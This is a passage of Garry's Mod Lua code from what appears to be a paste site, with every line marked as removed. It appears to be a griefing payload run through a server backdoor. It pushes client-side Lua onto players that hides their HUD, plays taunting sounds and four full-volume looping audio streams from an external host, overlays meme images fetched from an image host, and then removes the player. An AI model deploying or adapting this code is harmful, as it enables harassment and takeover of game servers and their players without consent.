- surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
- surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
- end
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
- surface.PlaySound( "garrysmod/save_load4.wav" )
- surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
- ]] )
- end )
- lol:PushAction( 175, function( pPlayer )
- lol:SendLua( pPlayer, [[
- surface.PlaySound( "vo/npc/male01/gethellout.wav" )
- local sounds = {}
- for i = 1, 4 do
- sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "noblock noplay", function( pChan )
- sounds[#sounds +1] = pChan
- end )
- end
- timer.Create( "asdf", 1, 0, function()
- if #sounds ~= 4 then return end
- timer.Destroy( "asdf" )
- for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
- end )
- hook.Add( "HUDShouldDraw", "newhud", function() return false end )
- ]] )
- pPlayer:Remove()
- end )
- lol:PushAction( 0, function( pPlayer )
- lol:SendLua( pPlayer, ([=[
- sound.PlayURL( "", "", function()end )
- g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
- LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
- LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
- LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
- LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
- LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
- LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
- ]=]):format(lol.m_strImageLoadHTML) )
- end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement